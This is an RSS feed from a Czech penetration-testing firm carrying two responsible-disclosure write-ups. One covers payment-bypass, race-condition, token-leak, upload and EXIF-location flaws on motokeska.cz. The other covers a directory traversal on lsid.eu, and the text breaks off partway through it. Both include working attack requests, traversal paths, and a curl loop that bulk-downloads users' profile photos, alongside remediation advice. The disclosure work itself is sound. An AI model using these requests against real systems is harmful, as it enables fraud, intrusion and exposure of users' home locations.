<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Vectorum (Čeština)</title>
    <link>https://vectorum.cz/cs/</link>
    <description>Offensive cybersecurity · Penetration tests · Prague</description>
    <language>cs</language>
    <atom:link href="https://vectorum.cz/cs/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Motokeska.cz – Obejití platby pro vouchery zdarma, únik QR tokenů a odhalení polohy</title>
      <link>https://vectorum.cz/cs/nalezene-zranitelnosti/2026/motokeska-payment-bypass/</link>
      <guid>https://vectorum.cz/cs/nalezene-zranitelnosti/2026/motokeska-payment-bypass/</guid>
      <description>Pět chyb na motokeska.cz: obejití platby vydávající vouchery zdarma, únik QR tokenů a profilové fotky odhalující GPS polohu.</description>
      <content:encoded><![CDATA[<h1 id="shrnutí">Shrnutí</h1>
<p>Na webu <a href="https://motokeska.cz">motokeska.cz</a> byl proveden cílený bezpečnostní audit, a to na základě výslovného souhlasu správce systému. Audit probíhal bez jakýchkoli zvláštních oprávnění a simuloval reálného útočníka bez přístupu zevnitř.</p>
<p>Napříč čtyřmi různými plochami útoku bylo identifikováno pět zranitelností:</p>
<ul>
<li>Voucher kódy jsou vydávány ještě před dokončením platby, což umožňuje generovat neomezené množství voucherů zdarma</li>
<li>Race condition v endpointu pro uplatnění voucheru umožňuje jedním voucherem aktivovat více tras</li>
<li>Tokeny z QR keší jsou dostupné přes veřejné API, což umožňuje podvod se soutěží o ceny bez fyzické návštěvy míst</li>
<li>Server přijímá nahrání libovolného souboru kvůli nedostatečné validaci obsahu</li>
<li>Uživatelské profilové fotky si ponechávají EXIF metadata, která mohou prozradit GPS souřadnice</li>
</ul>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-summary-1024x460.png" alt="motokeska-summary" /></p>
<p><strong>Všechny nálezy byly zodpovědně nahlášeny vlastníkovi domény, který chyby potvrdil a udělil souhlas s publikováním tohoto článku.</strong></p>
<h1 id="vouchery-zdarma-jak-přeskočit-platbu">Vouchery zdarma: jak přeskočit platbu</h1>
<h2 id="popis">Popis</h2>
<p><a href="https://motokeska.cz">Motokeska.cz</a> umožňuje uživatelům zakoupit vouchery, které odemykají placené trasy, a to na <a href="https://motokeska.cz/vanocni-voucher-motokeska-2026">stránce nákupu voucherů</a>.<br />
Nákupní proces je přímočarý – uživatel vyplní e-mail, zvolí typ voucheru a přejde k platbě přes bránu GoPay.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-voucher-page-1024x597.png" alt="motokeska-voucher-page" /></p>
<p>V čem je problém? Server vygeneruje a vrátí platný voucher kód <strong>ještě před dokončením platby</strong>.<br />
Při zahájení nákupu prohlížeč volá následující API endpoint:</p>
<pre><code>POST /api/payments/coupon-payment HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Content-Type: application/json

{&quot;email&quot;:&quot;hacker@evil.com&quot;,&quot;coupon_type&quot;:&quot;single&quot;,&quot;year&quot;:2026}
</code></pre>
<p>Server okamžitě odpoví plně platným voucher kódem:</p>
<pre><code>HTTP/2 200 OK  
Content-Type: application/json
  
{  
  &quot;gw_url&quot;:&quot;https://gate.gopay.com/gw-ui/rest/v3/bf312f244c524733b673a9ee4c066000&quot;,
  &quot;id&quot;:1234567890,
  &quot;coupon_code&quot;:&quot;MOTO-ABCD123&quot;
}
</code></pre>
<p>Pole <code>coupon_code</code> v odpovědi je okamžitě uplatnitelné – bez ohledu na to, zda uživatel platbu vůbec kdy dokončí. URL platební brány (<code>gw_url</code>) je v odpovědi přítomné, ale server před vydáním kódu nikdy nečeká na potvrzovací callback od GoPay. Generování voucheru a platba jsou tak od sebe fakticky oddělené.</p>
<p>To znamená, že tento endpoint lze volat opakovaně a generovat neomezené množství platných voucherů zdarma.</p>
<h2 id="náprava">Náprava</h2>
<p>Voucher kódy by měly být generovány až po přijetí ověřeného potvrzení o platbě (callbacku) z platební brány. Server nesmí nikdy zahrnout voucher kód do počáteční odpovědi při vytvoření platby – kód by měl být vydán teprve poté, co je úspěšná platba potvrzena na straně serveru.</p>
<h1 id="jeden-voucher-neomezeně-tras-zneužití-race-condition">Jeden voucher, neomezeně tras: zneužití race condition</h1>
<h2 id="popis-1">Popis</h2>
<p><a href="https://motokeska.cz">Motokeska.cz</a> umožňuje přihlášeným uživatelům uplatňovat voucher kódy přes jejich <a href="https://motokeska.cz/profil">profilovou stránku</a>. Každý voucher je zamýšlen jako jednorázový a měl by odemknout přesně jednu placenou trasu.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-voucher-profile.png" alt="motokeska-voucher-profile" /></p>
<p>Uplatnění obsluhuje endpoint <code>/api/coupons/redeem</code>. Standardní požadavek vypadá takto:</p>
<pre><code>POST /api/coupons/redeem HTTP/2  
Host: api-dot-motokeska.ew.r.appspot.com  
Authorization: Bearer &lt;JWT&gt;  
  
{&quot;code&quot;:&quot;MOTO-ABCD123&quot;,&quot;voucher_type&quot;:&quot;single&quot;,&quot;selected_route&quot;:{&quot;year&quot;:2026,&quot;type&quot;:&quot;main&quot;,&quot;number&quot;:&quot;05&quot;}}
</code></pre>
<p>Pokud je stejný voucher uplatněn sekvenčně na druhou trasu, server jej správně odmítne:</p>
<blockquote>
<p>Tento voucher byl již použit. Každý voucher lze uplatnit pouze jednou.</p>
</blockquote>
<p>Pokud je ale odesláno více požadavků na uplatnění <strong>souběžně</strong> – každý cílící na jinou trasu úpravou parametru <code>selected_route.number</code> – dostanou se všechny požadavky na server dřív, než je voucher označen jako použitý. Každý požadavek uspěje nezávisle a odemkne jinou placenou trasu se stejným voucher kódem.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-race-condition-1024x663.png" alt="motokeska-race-condition" /></p>
<h2 id="náprava-1">Náprava</h2>
<p>Endpoint pro uplatnění musí voucher ověřit a označit jako použitý v jediné atomické operaci – ne ve dvou samostatných krocích. Transakce na úrovni databáze s pesimistickým zámkem (např. <code>SELECT FOR UPDATE</code>) zajistí, že jakmile první požadavek přečte stav voucheru, žádný souběžný požadavek jej nemůže přečíst, dokud první požadavek nedokončí zápis. Každý požadavek, který dorazí v době, kdy je zámek držen, by měl dostat chybovou odpověď, nikoli úspěch.</p>
<h1 id="dokonči-trasu-bez-opuštění-domova-jak-podvádět-ve-hře-přes-api">Dokonči trasu bez opuštění domova: jak podvádět ve hře přes API</h1>
<h2 id="popis-2">Popis</h2>
<p>Motokeska je hra v reálném světě. Hráči zakoupí trasu, dojedou (autem či na motorce) k fyzickým místům a naskenují QR kódy zabudované v kovových štítcích rozmístěných po krajině. Takový štítek vypadá takto:</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-qr-code.png" alt="motokeska-qr-code" /></p>
<p>Naskenování QR kódu na takovém štítku přesměruje hráče na URL ve formátu:</p>
<pre><code>https://motokeska.cz/keska/2025/city/01/14?token=JyOz6oe4gC602nRCW2bV
</code></pre>
<p>Parametr <code>token</code> je to, co dokazuje, že jste byli fyzicky na daném místě. Je to hlavní herní mechanika a vstupenka do slosování o ceny.</p>
<p>Problém je, že tyto tokeny jsou dostupné přes veřejný API endpoint. Kdokoli je může získat, aniž by opustil svůj stůl.</p>
<p>Následující požadavek vrátí všechna data o keších pro danou trasu, včetně hodnot <code>token</code>, které jsou normálně získatelné pouze fyzickou návštěvou místa a naskenováním štítku:</p>
<pre><code>GET /api/caches?route_id=12&amp;year=2026 HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Authorization: Bearer &lt;JWT&gt;
</code></pre>
<p>Odpověď obsahuje token pro každou keš na trase:</p>
<pre><code>HTTP/2 200 OK
Content-Type: application/json

[
  {
    &quot;id&quot;: 42,
    &quot;route_id&quot;: 12,
    &quot;name&quot;: &quot;Cache #1&quot;,
    &quot;qr_code_token&quot;: &quot;JyOz6oe4gC602nRCW2bV&quot;,
    &quot;gps_lat&quot;: 49.8175,
    &quot;gps_lon&quot;: 13.4734
  },
  ...
]
</code></pre>
<p>S těmito tokeny v ruce může útočník sestavit platné požadavky na potvrzení keše a odeslat je, jako by každé místo navštívil – dokončit celou trasu z domova, získat body a zúčastnit se slosování o ceny, aniž by kdy nastartoval motor.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-cache-found.png" alt="motokeska-cache-found" /></p>
<h2 id="náprava-2">Náprava</h2>
<p>Pole <code>qr_code_token</code> nesmí být nikdy vráceno přes API dříve, než byla keš fyzicky naskenována. Token by měl být použit pouze na straně serveru k ověření příchozího požadavku o naskenování – nemá žádný legitimní důvod být odesílán klientovi předem.</p>
<h1 id="vaše-profilová-fotka-může-prozradit-vaši-polohu">Vaše profilová fotka může prozradit vaši polohu</h1>
<h2 id="popis-3">Popis</h2>
<p><a href="https://motokeska.cz">Motokeska.cz</a> umožňuje uživatelům nastavit si profilovou fotku. Co by většina uživatelů nečekala, je to, že jejich fotka může nenápadně prozradit, kde bydlí.</p>
<p>Když uživatel nahraje profilovou fotku, obrázek se uloží do veřejně přístupného Google Cloud Storage bucketu bez jakékoli sanitizace metadat. To znamená, že pokud nahraná fotka obsahuje EXIF metadata – jako většina fotek z chytrých telefonů – tato metadata zůstanou zachována a jsou dostupná komukoli, kdo si soubor stáhne.</p>
<p>Bucket lze procházet přímo přes storage endpoint, aniž by se aplikace vůbec použila:</p>
<pre><code>https://storage.googleapis.com/motokeska-user-images?prefix=profile-images
</code></pre>
<p>To vrátí seznam všech uložených objektů, které lze následně hromadně stáhnout:</p>
<pre><code>burl='https://storage.googleapis.com/motokeska-user-images/'
curl -s https://storage.googleapis.com/motokeska-user-images \
  | rg -oPN '(?&lt;=&lt;Key&gt;).*?(?=&lt;/Key&gt;)' &gt; keys.list

for key in $(cat keys.list); do
  curl -s -O &quot;${burl}${key}&quot;
done
</code></pre>
<p>Některé z nahraných fotek:</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-avatars-1024x315.png" alt="motokeska-avatars" /></p>
<p>Po stažení lze obrázky prozkoumat nástrojem <strong>exiftool</strong>. Pokud autor před nahráním metadata neodstranil, může fotka prozradit místo, kde byla pořízena. Příklad z iPhonu:</p>
<pre><code>  [ExifIFD]   LensModel                  : iPhone 14 Pro front TrueDepth camera 2.69mm f/1.9
  [GPS]       GPSLatitude                : 50 deg 5' 11.04&quot;
  [GPS]       GPSLongitude               : 14 deg 24' 35.88&quot;
  [GPS]       GPSAltitude                : 187.0396476 m
</code></pre>
<p>Selfie pořízené doma a použité jako profilová fotka právě prozradilo domácí adresu uživatele komukoli, kdo ví, kde hledat.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-location-from-photo-1024x201.png" alt="motokeska-location-from-photo" /></p>
<h2 id="náprava-3">Náprava</h2>
<p>Z nahraných obrázků by měla být před uložením odstraněna veškerá metadata. To lze provést na straně serveru pomocí nástrojů jako <strong>exiftool</strong>, <strong>ImageMagick</strong>, nebo přeuložením (re-encode) obrázku přes knihovnu pro zpracování obrázků – což zároveň slouží jako další vrstva obrany proti poškozeným či škodlivým nahráním.</p>
<h1 id="nahrát-cokoli-když-server-věří-příliš">Nahrát cokoli: když server věří příliš</h1>
<h2 id="popis-4">Popis</h2>
<p>Motokeska.cz umožňuje uživatelům nahrát profilovou fotku přes jejich profilovou stránku. Server má přijímat pouze obrázky – jenže validaci lze triviálně obejít.</p>
<p>Endpoint pro nahrávání kontroluje pouze hlavičku <code>Content-Type</code> požadavku. Pokud hlavička začíná na <code>image/</code>, je soubor přijat – bez ohledu na to, co soubor ve skutečnosti obsahuje. Útočník může nahrát jakýkoli soubor prostým nastavením hlavičky na <code>image/jpeg</code>, zatímco odešle úplně jiná data:</p>
<pre><code>POST /api/users/123/profile-image HTTP/2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...

------WebKitFormBoundary
Content-Disposition: form-data; name=&quot;profileImage&quot;; filename=&quot;image.png&quot;
Content-Type: image/javascript
</code></pre>
<p>Server nahrání přijme a uloží soubor do veřejně přístupného Google Cloud Storage bucketu s příponou odvozenou z dodaného <code>Content-Type</code> – nikoli ze skutečného obsahu souboru.</p>
<p>Ve stejném endpointu se skrývá ještě druhý problém. Název souboru uloženého v bucketu je odvozen z uživatelského ID v cestě požadavku. Přidání úvodních nul k uživatelskému ID vytvoří jiný název souboru, přičemž server stále požadavek přijme jako platný:</p>
<table>
<thead>
<tr>
<th>Cesta požadavku</th>
<th>Uložený název souboru</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/api/users/3/profile-image</code></td>
<td><code>user_3.jpg</code></td>
</tr>
<tr>
<td><code>/api/users/003/profile-image</code></td>
<td><code>user_003.jpg</code></td>
</tr>
<tr>
<td><code>/api/users/00000003/profile-image</code></td>
<td><code>user_00000003.jpg</code></td>
</tr>
</tbody>
</table>
<p>To znamená, že útočník může nahrát neomezené množství souborů do důvěryhodného Google Cloud Storage bucketu – bucketu, který může být zařazen na whitelist jinými systémy nebo CSP politikami – jednoduše zvyšováním počtu úvodních nul.</p>
<h2 id="náprava-4">Náprava</h2>
<p>Hlavičky <code>Content-Type</code> jsou pod kontrolou uživatele a nesmí být nikdy důvěryhodné jako jediný validační mechanismus. Server by měl prozkoumat skutečný obsah souboru pomocí validace magic bytes a odmítnout cokoli, co neodpovídá známému formátu obrázku. Identifikátor uživatele v cestě pro nahrání musí být před použitím normalizován – úvodní nuly by měly být odstraněny a výsledné ID ověřeno vůči přihlášenému uživateli. Vynucení jednoho aktivního profilového obrázku na uživatele nahrazováním existujících souborů namísto vytváření nových by rovněž odstranilo vektor zneužití úložiště.</p>
<h1 id="časová-osa-zveřejnění">Časová osa zveřejnění</h1>
<pre><code>9. března 2026 – požádáno o svolení vlastníka motokeska.cz (David Král) k provedení bezpečnostního testování
27. března 2026 – podmínky přezkoumány a upřesněny
6. června 2026 – osobní schůzka, vysvětlení, doporučení
7. června 2026 – report zaslán vlastníkovi motokeska.cz
9. června 2026 – článek publikován
</code></pre>
<h1 id="odměna">Odměna</h1>
<p>Pro <a href="https://motokeska.cz">motokeska.cz</a> neexistuje žádný bug bounty program a o žádnou odměnu nebylo žádáno. Report byl sdílen dobrovolně. Tým motokeska.cz zcela z vlastní iniciativy zaslal odměnu ve výši 20 000 Kč.</p>
]]></content:encoded>
      <pubDate>Mon, 22 Jun 2026 00:00:00 +0000</pubDate>
      <category>broken-access-control</category>
      <category>logic-flaw</category>
      <category>privacy-risk</category>
      <category>responsible-disclosure</category>
      <category>Responsible Disclosure</category>
    </item>
    <item>
      <title>Livesport bug bounty – Directory traversal na lsid.eu</title>
      <link>https://vectorum.cz/cs/nalezene-zranitelnosti/2025/livesport-lsid-traversal/</link>
      <guid>https://vectorum.cz/cs/nalezene-zranitelnosti/2025/livesport-lsid-traversal/</guid>
      <description>Zranitelnost Directory Traversal byla identifikována a zodpovědně nahlášena prostřednictvím oficiálního bug bounty programu společnosti Livesport.</description>
      <content:encoded><![CDATA[<h1 id="úvod">Úvod</h1>
<p>Zranitelnost typu <strong>Directory Traversal</strong> byla identifikována a zodpovědně nahlášena prostřednictvím oficiálního <a href="https://bugbounty.livesport.eu/">bug bounty programu</a> společnosti Livesport. Zranitelnost se nacházela na <strong><a href="https://lsid.eu">https://lsid.eu</a></strong>, což je služba, která tvoří klíčovou součást <strong><a href="https://livesport.cz">https://livesport.cz</a></strong>, protože jde o Node JS server pro registrace, přihlašování a správu uživatelských dat.</p>
<p>Pokud se tedy chceme přihlásit ke svému účtu na <strong><a href="https://livesport.cz">https://livesport.cz</a></strong>, jeden z požadavků odeslaných na <strong>LSID</strong> by vypadal takto:</p>
<pre><code class="language-http hljs">POST /v3/login HTTP/1.1
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.livesport.cz/
Content-Type: text/plain;charset=UTF-8
Content-Length: 131
Origin: https://www.livesport.cz
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
    
{&quot;email&quot;:&quot;aaa@x.cc&quot;,&quot;password&quot;:&quot;password&quot;,&quot;namespace&quot;:&quot;flashscore&quot;,&quot;project&quot;:1}
</code></pre>
<p>Některé další API endpointy, které jsou součástí LSID:</p>
<pre><code>/v2/login
/v2/registration
/v2/logout
/v3/login
/v3/termsagree
/v3/verification
/v4/getdata
/v5/users/me/marketing-approval
/v5/users/me/terms
\[...\]
</code></pre>
<h1 id="popis">Popis</h1>
<p>Navzdory ochranám a validačním mechanismům, které se zdály být na serveru implementovány, bylo přesto možné libovolně procházet soubory a adresáře pod cestou <code>/home/fsnodeuser/app/*</code>.</p>
<p>To umožnilo přístup k souborům jako:</p>
<ul>
<li><code>package.json</code></li>
<li><code>package-lock.json</code></li>
</ul>
<p>Stejně jako k různým adresářům jako:</p>
<ul>
<li><code>node_modules</code></li>
<li><code>dist</code></li>
<li><code>lib</code></li>
</ul>
<p>a dalším.</p>
<p>Konkrétně soubor <code>package.json</code> odhalil metadata projektu a informace o jeho závislostech, včetně interních závislostí jako <code>@flashscore/&lt;name&gt;</code>, které jsou nutné pro běh aplikace v produkčním prostředí. Soubor rovněž obsahoval informace související s buildem, včetně umístění interního NPM registru, přispěvatelů a domovské stránky, ze které bylo možné projekt stáhnout.</p>
<h1 id="write-up">Write-up</h1>
<p>Přešel jsem na URL https://lsid.eu</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/03/1-1024x377.png" alt="" /></p>
<p>Poté jsem ji profuzzoval nástrojem <code>ffuf</code> a zjistil, že adresář <code>/public</code> je přístupný, i když se zdá být špatně nakonfigurovaný, protože vrací 500 Internal Server Error.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/03/2-1024x378.png" alt="" /></p>
<p>A pokud se například odešle následující požadavek, server vrátí úplnou cestu a uživatelské jméno opět naznačuje, že aplikace běží na Node.js</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/03/3-1024x245.png" alt="" /></p>
<p>Požadavek je možné upravit přidáním sekvencí path traversal <code>../</code> a přesunout se do adresáře <code>/home/fsnodeuser/app</code>, což pak umožňuje procházet soubory a adresáře patřící aplikaci. V níže uvedeném příkladu byl získán obsah souboru <code>package.json</code>.</p>
<p><strong>Request:</strong></p>
<pre><code>GET /public/a/../../package.json HTTP/2
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101
Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Sun, 09 Feb 2025 22:58:03 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: ca2bc4ea639d8137725d5924f7ad9008
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;type&quot;:&quot;Buffer&quot;, &quot;data&quot;:[123,10,9,34,110,97,109,101,34,58,32,34,108,115,105,100,3 4,44,10,9,34,118,101,114,115,105,111,110,34,58,32,34,55,46,51,46,55,34,44,10,9,3
4,116,101,109,112,108,97,116,101,86,101,114,115,105,111,110,34,58,32,34,49,46,57,4
6,51,34,44,10,9,34,100,101,115,

[...]
</code></pre>
<p>Odpověď obsahující výstup Bufferu je v obou případech (<code>package.json</code> i <code>package-lock.json</code>) poměrně dlouhá, takže jsem se rozhodl zahrnout jen částečný výřez. Protože každé číslo v poli <code>data</code> odpovídá ASCII hodnotě znaku ze souboru <code>package.json</code>, lze jej převést do čitelné JSON reprezentace.</p>
<p><strong>Addendum:</strong></p>
<p>Souhrn souborů objevených v <code>/home/fsnodeuser/app</code>:</p>
<ul>
<li><code>package.json</code></li>
<li><code>package-lock.json</code></li>
</ul>
<p>Objevené adresáře:</p>
<ul>
<li><code>dist</code></li>
<li><code>node_modules/</code></li>
</ul>
<p>Jak lze identifikovat existující adresáře – příklad: <code>node_modules</code></p>
<p><strong>Request:</strong></p>
<pre><code>GET /public/a/..;/..;/..;/..;/..;/../../../../../../../node_modules HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 500 Internal Server Error
Date: Tue, 20 Aug 2024 10:10:12 GMT
Content-Type: application/json; charset=UTF-8
X-Transaction-Id: 5dc70e858e61df37701e37ff3e1fa0da
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;code&quot;:0,&quot;message&quot;:&quot;Error reading file: \&quot;/node_modules \&quot;.&quot;,&quot;name&quot;:&quot;InternalServerError&quot;}
</code></pre>
<p>Ačkoli server vrací chybovou zprávu – „500 Internal Server Error“ – prozrazuje nám, že adresář existuje, takže s tím lze v dalších krocích pracovat. Vezměme tedy Buffer z předchozí odpovědi a převeďme jej do čitelného formátu, abychom získali soubor package.json:</p>
<pre><code>#!/usr/bin/env python3

import json

buffer_data = [123,10,9,34,110,97,109,101,34 ....the rest of the buffer...]

json_string = ''.join(chr(byte) for byte in buffer_data)
parsed_json = json.loads(json_string)
print(json.dumps(parsed_json, indent=4)) # Pretty print the JSON
</code></pre>
<p>Čitelná verze souboru package.json pro lsid.eu (některé části byly záměrně „redigovány“):</p>
<pre><code>{
&quot;name&quot;: &quot;lsid&quot;,
&quot;version&quot;: &quot;x.x.x&quot;,
&quot;templateVersion&quot;: &quot;x.x.x&quot;,
&quot;description&quot;: &quot;Node JS server for registrations, logins and managing user
data.&quot;
,
&quot;keywords&quot;: [
&quot;livesport&quot;,
&quot;service&quot;
,
&quot;LSID&quot;,
&quot;nodejs&quot;,
&quot;typescript&quot;
],
&quot;files&quot;: [
&quot;js&quot;
],
&quot;publishConfig&quot;: {
&quot;registry&quot;: &quot;xxxx&quot;
},
&quot;license&quot;: &quot;UNLICENSED&quot;,
&quot;author&quot;: &quot;xxx Node Team &lt;xxxx@livesport.eu&gt; (https://xxx.atla
ssian.net/xxxxxxxx)&quot;,
&quot;contributors&quot;: [
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;
],
&quot;main&quot;: &quot;./dist/index.js&quot;,
&quot;homepage&quot;: &quot;https://...&quot;,
&quot;repository&quot;: {
&quot;type&quot;: &quot;git&quot;,
&quot;url&quot;: &quot;git@...&quot;
},
&quot;engines&quot;: {
&quot;node&quot;: &quot;&gt;=v20.11.1&quot;
},
&quot;scripts&quot;: {
&quot;audit&quot;: &quot;npm audit --registry=https://registry.npmjs.org/&quot;,
&quot;audit-fix&quot;: &quot;npm run audit -- fix&quot;,
&quot;audit-prod&quot;: &quot;npm run audit -- --production&quot;,
&quot;build&quot;: &quot;tsc -p tsconfig.build.json&quot;,
ci --registry=https://..../ &amp;&amp; npm run build-dt&quot;,
&quot;build-dev&quot;: &quot;tsc -p tsconfig.dev.json &amp;&amp; npm run postbuild&quot;,
&quot;build-dev-watch&quot;: &quot;tsc -p tsconfig.dev.json &amp;&amp; (concurrently \&quot;tsc -w\&quot;
\&quot;tsc-alias -w\&quot;)&quot;,
......
,
&quot;build-dt&quot;: &quot;npm run build -- -p tsconfig.json&quot;,
&quot;build-prod&quot;: &quot;npm run build -- -p tsconfig.prod.json&quot;,
&quot;check-circular-dependencies&quot;: &quot;npx madge -c --extensions ts --ts-confi

[...]

},
&quot;dependencies&quot;: {
&quot;@flashscore/redacted-core&quot;: &quot;^3.0.1&quot;,

[...]

},
&quot;devDependencies&quot;: {

[...]

}
}
</code></pre>
<p>V sekci dependencies je mnoho zajímavých in-house závislostí <code>@flashscore</code>. Pro účely tohoto příspěvku ale vezmu <code>@flashscore/redacted-core</code></p>
<p>Získání <code>package.json</code></p>
<pre><code>GET /public/a/../../node_modules/@flashscore/redacted-core/package.json HTTP/2
Host: lsid.eu
</code></pre>
<p>Odpověď je stejně jako v předchozím případě „Buffer“, takže je potřeba ji opět převést do čitelného formátu:</p>
<pre><code>HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:09:12 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: 7a6eca09a4db3cd451354bcef138a1d4
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;type&quot;:&quot;Buffer&quot;, &quot;data&quot;:[123,10,9,34,110,97,109,101,34,58,32,34,64,102,108,97,11
5,104,115,99,111,114,101,47,115,101,

[...]
</code></pre>
<p>Převedený <code>package.json</code></p>
<pre><code>{
&quot;name&quot;: &quot;@flashscore/redacted-core&quot;
,
&quot;version&quot;: &quot;3.0.1&quot;,
&quot;description&quot;: &quot;Package includes base classes for FS Node Team microservice projects.&quot;
,
&quot;keywords&quot;: [
&quot;core&quot;
,
&quot;service&quot;
,
&quot;classes&quot;,
&quot;livesport&quot;,
&quot;flashscore&quot;
,
&quot;javascript&quot;,
&quot;typescript&quot;
],
&quot;publishConfig&quot;: {
&quot;registry&quot;: &quot;....&quot;
},
&quot;license&quot;: &quot;UNLICENSED&quot;,
&quot;author&quot;: &quot;....)&quot;,
&quot;contributors&quot;: [

[...]

],
&quot;main&quot;: &quot;./dist/index.js&quot;,
&quot;exports&quot;: {
&quot;
.&quot;: &quot;./dist/index.js&quot;,
&quot;./repositories/*&quot;: &quot;./dist/lib/repositories/*/index.js&quot;
},
&quot;types&quot;: &quot;./dist/index.d.ts&quot;,
&quot;typesVersions&quot;: {
&quot;*&quot;: {
&quot;index.d.ts&quot;: [
&quot;./dist/index.d.ts&quot;
],
&quot;repositories/*&quot;: [
&quot;./dist/lib/repositories/*/index.d.ts&quot;
]
}
},
&quot;homepage&quot;: &quot;....&quot;,
&quot;repository&quot;: {
&quot;type&quot;: &quot;git&quot;,
&quot;url&quot;: &quot;git@....&quot;
},
&quot;engines&quot;: {
&quot;node&quot;: &quot;&gt;=...&quot;
},
&quot;scripts&quot;: {},
&quot;dependencies&quot;: {
&quot;@flashscore/........
},
&quot;peerDependencies&quot;: {
&quot;@flashscore/.......
},
&quot;peerDependenciesMeta&quot;: {
&quot;@flashscore/.....&quot;: {
&quot;optional&quot;: true
},
&quot;knex&quot;: {
&quot;optional&quot;: true
}
},
&quot;devDependencies&quot;: {
&quot;@commitlint/cli&quot;: &quot;^......
&quot;@flashscore/.......[...]
}
}
</code></pre>
<p>Je možné získat informace jak o autorech, tak popis toho, k čemu daná závislost slouží, a také jaké další závislosti může používat. Tímto způsobem lze tento postup opakovat pro každou závislost a získat informace o jakýchkoli interních<br />
závislostech a hledat natvrdo zakódované přihlašovací údaje, tajemství, klíče, interní URL nebo citlivé informace.</p>
<p>V případě <code>@flashscore/redacted-core</code> byl objeven tento soubor <code>tsconfig.test.json</code>:</p>
<pre><code>GET /public/a/../../node_modules/@flashscore/redacted-core/tsconfig.test.json HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:07:48 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: d8301857fd786064b71cb78e5b32527d
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;type&quot;:&quot;Buffer&quot;, &quot;data&quot;:[123,10,9,34,101,120,116,101,110,100,115,34,58,32,34,46,4 7,116,115,99,111,110,102,105,103,46,106,115,111,110,34,44,10,9,34,99,111,109,112,105,
108,101,114,79,112,116,105,111,110,115,34,58,32,123,10,9,9,34,115,111,117,114,99,101,7
7,97,112,34,58,32,116,114,117,101,10,9,125,10,125,10]}
</code></pre>
<p>Převedeno na:</p>
<pre><code>{
&quot;extends&quot;: &quot;./tsconfig.json&quot;,
&quot;compilerOptions&quot;: {
&quot;sourceMap&quot;: true
}
}
</code></pre>
<p><code>sourceMap</code> je nastaveno na <code>true</code>. Tato informace by mohla být užitečná při fuzzingu JavaScriptu, kde by bylo možné automaticky testovat přípony <code>.map</code> a zjišťovat, zda odhalují nějaké potenciálně zranitelné části kódu nebo citlivé implementační detaily.</p>
<p>I na lsid.eu je možné procházet závislosti třetích stran jako <code>knex, lodash, mysql2, pino</code> atd. a zkoumat jednotlivé soubory, abychom zjistili, zda obsahují nějaké vlastní konfigurace nebo nastavení nutná pro správný chod aplikace Livesport/Flashscore.</p>
<p>Jeden další zajímavý příklad byl tento <code>redis-client</code></p>
<p><strong>Request:</strong></p>
<pre><code>GET /public/a/../../node_modules/@flashscore/redis-client/dist/index.d.ts HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:45:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 23
X-Transaction-Id: b39a07144f2a736080595d51e351e8cf
Strict-Transport-Security: max-age=31536000; includeSubDomains

export * from './lib';
</code></pre>
<p>V tomto případě zde byl také soubor <code>docker-compose.yml</code></p>
<p><strong>Request:</strong></p>
